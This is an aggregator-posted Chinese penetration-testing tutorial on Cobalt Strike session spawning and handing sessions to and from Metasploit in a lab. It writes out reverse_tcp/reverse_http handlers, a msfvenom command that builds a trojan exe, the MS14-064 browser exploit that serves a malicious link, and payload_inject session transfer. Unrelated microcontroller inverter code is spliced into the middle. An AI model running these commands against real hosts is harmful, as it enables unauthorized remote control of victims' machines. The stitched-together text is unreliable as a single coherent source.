152.网络安全渗透测试—[Cobalt Strike系列]—[会话管理/派生]

Posted qwsn

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了152.网络安全渗透测试—[Cobalt Strike系列]—[会话管理/派生]相关的知识,希望对你有一定的参考价值。

我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!

文章目录

一、会话管理

1、实验环境

2、会话派生

(1)128的cs会话派生给128的cs本身

第一步:使用http beacon,让128获取到132的cs会话(详细步骤:传送门
//如下图所示:128的cs获取到了131的会话

第二步:128的cs新建一个监听器,注意端口要不一样
//如下图所示:128新建了一个9528的监听器

第三步:128右键会话视图下刚刚生成的会话,点击Spawn派生,选择9528的监听器
//如下图所示:派生会话

//如下图所示:我们在beacon视图下也会发现,点击了派生的操作其实就是执行下面的命令

//如下图所示:等待了一段时间后,128的cs会话成功派生给自身

(2)128的cs会话派生给129的cs会话

第一步:129的cs建立一个9529端口的监听器
//如下图所示:129建立了一个

第二步:128的cs也建立一个9529端口的监听器,特别需要注意的是此时的host需要填写的是129
//如下图所示:host填129,但是beacons填128

第三步:128选中自己会话视图下的所有会话,然后右键Spawn派生到129的cs
//如下图所示:进行派生

第四步:查看129的cs是否获取到了会话
//如下图所示:128的cs会话成功派生到了129的cs上面

(3)128的cs会话派生到129的msf会话

第一步:129的msf开启9530端口监听,特别要注意的是payload选择tcp协议的reverse_tcp

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.97.129
set lport 9530
exploit -j

//如下图所示:需要注意的是选择的payload是reverse_tcp

第二步:128的cs上建立新的外部监听器,特别需要注意的是外部
//如下图所示:因为是128的cs派生给129的msf,所以选择外部,还有host需要填写的是129的;又因为msf的payload设置的是tcp协议的reverse_tcp,所以要与之对应也选择reverse_tcp;

第三步:128选择会话视图下的所有会话,右键Spawn派生给129的msf
//如下图所示:选中9530,点击choose开始派生

第四步:回到129的msf,发现已经建立了两个会话,我们键入sessions查看所有会话结果
//如下图所示:129的msf上的会话1和会话2就是128的cs会话派生来的

(4)129的msf生成木马 + 128的cs获取新会话

第一步:129生成一个反弹给128的9531端口的木马
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.97.128 LPORT=9531 -f exe > /mnt/hgfs/share/shell1.exe
//如下图所示:成功生成木马

第二步:128的cs新建一个9531监听器
//如下图所示:host填写128,beacons也是128

第三步:靶机131执行我们的129的msfvenom生成的shell1.exe
//如下图所示:靶机成功运行shell1.exe

第四步:查看128的cs会话视图下是否存在新的会话
//如下图所示:128的cs会话视图下反弹来了131的新会话

(5)129的msf溢出exp发到128的cs会话

第一步:129的msf使用溢出exp

use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.97.129		【msf自己的IP】
set SRVPORT 80
set payload windows/meterpreter/reverse_http
set LHOST 192.168.97.128	【128的cs,也就是team server的IP】
set lport 9532
set disablepayloadhandler True
set PrependMigrate True
exploit

//解释set disablepayloadhandler True:将DisablePayLoadHandler设置为true。这告诉metasploit框架,它不需要在metasploit框架内创建处理程序来服务有效负载连接。
//解释set PrependMigrate True:这个选项告诉metasploit框架修改其stager,以便在利用之后立即迁移到另一个进程。此选项对于客户端攻击非常重要。它允许您的会话在被利用的应用程序崩溃或关闭时存活。
//如下图所示:生成了恶意链接

第二步:128的cs新建监听器
//如下图所示:host填129,beacons填128

第三步:打开靶机200,运行恶意链接
//如下图所示:

第四步:查看128的cs会话视图下新上线了一个200

(6)129的msf会话派生给128的cs会话

第一步:129的msf生成恶意链接

use exploit/windows/browser/ms14_064_ole_code_execution
set disablepayloadhandler false
set PrependMigrate false
set srvhost 192.168.97.129			【自己IP】
set SRVPORT 80
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.97.129		【自己IP】
set lport 9532
exploit

第二步:靶机200访问恶意链接http://192.168.97.129:80/Xx3boZk2QaGml71,129的msf获取到会话2
//如下图所示:靶机执行恶意链接

//如下图所示:129的msf获取会话2

第三步:129把会话转到128
sessions
use exploit/windows/local/payload_inject
set session 2
set payload windows/meterpreter/reverse_http
set lhost 192.168.97.128 【cs的IP】
set lport 9532 【cs的端口】
set DisablePayloadHandler true
exploit -j

第四步:128的cs会话视图下获取到了129的msf会话

单片机710逆变

20170322

 1  Key_Receive = KeyScan();
 2         switch(Key_Receive){        //按下RE0(93脚)来控制开关
 3             case 1:                               
 4 //                PR2 = 2000;     //载波20KHz 
 5                 OC1CONbits.OCM = 0b110; 
 6                 OC2CONbits.OCM = 0b110; 
 7                 DISPLAY_stri(0,0,"   ");
 8                 DISPLAY_stri(0,0,"ON");     
 9                 Key = ~Key;
10                 if(Key == 0){
11                     OC1CONbits.OCM = 0b000;
12                     OC2CONbits.OCM = 0b000;
13                     OC1RS = 0;
14                     OC2RS = 0;
15                     DISPLAY_stri(0,0,"   ");
16                     DISPLAY_stri(0,0,"OFF");    
17                 }                
18                 break;

上面是正常工作的按键写法,作用是开关逆变的输出。先回忆一下逆变的配置方法

  1. 各种初始化,CPU,Timer2,ADC,PWM,LCD(如果有显示的话),PR2的值(我的习惯写法,方便改动,在初始化里面可写可不写)
  2. 按键控制,先声明一个unsigned char类型的变量(Key_rec)来接收按键扫描的值,然后用switch在while(1)里面依据接收到的值执行不同的指令。
  3. 配置PWM输出,逆变需要两路来输出,本人用的710(虽手册上写有半桥输出功能,但却无法配置),配置时,OCx里的x就是对应的输出引脚,此时须注意凡是初始化里的语句里带有OCx的指令,x必须要全部和你配置的那个脚对应的x一样。控制占空比的寄存器是OCxRS(PWM输出模式下)。
  4. 添加表格。按你想要输出的频率生成相应的表格,计算方法是先计算多久进一次中断t,然后用你想要频率F的周期T去除以t,得到的就是逆变的点数。最大值不得超过定时器的比较值(PR2的值),所以要注意如果乘倍率的时候最大值不要超过PR2。不然输出是空心的。
  5. 中断输出,最后的一步了。把表格的值一个一个输出去就行了,一般只用到表格的一半的值,为什么,你看代码就知道了
 1 void __attribute__((__interrupt__, __shadow__)) _T2Interrupt(void) {
 2               
 3     if (p < 200) {                   //50Hz
 4         OC1RS = rate*Count4[p];
 5         OC2RS = 0;
 6     }
 7     if (p >=200) {
 8         OC1RS = 0;
 9         OC2RS = rate*Count4[p-200];
10     }
11     p++;
12     if (p >= 400) 
13         p = 0;
14     IFS0bits.T2IF=0;
15 }

 最后要提醒,一定要注意看门狗有没有关,这里用不到看门狗。所以去CPU的配置文件里关了吧,不然你的单片机过一会就会自动复位了(如果你有开关按键,那么就是给你到关闭状态了)。这是个教训。

以上是关于152.网络安全渗透测试—[Cobalt Strike系列]—[会话管理/派生]的主要内容,如果未能解决你的问题,请参考以下文章

150.网络安全渗透测试—[Cobalt Strike系列]—[DNS Beacon原理/实战测试]

153.网络安全渗透测试—[Cobalt Strike系列]—[生成hta/exe/宏后门]

148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]

Cobalt Strike第一篇介绍及安装配置

Cobalt-Strike基本使用

【远控使用】Cobalt Strike横向渗透域控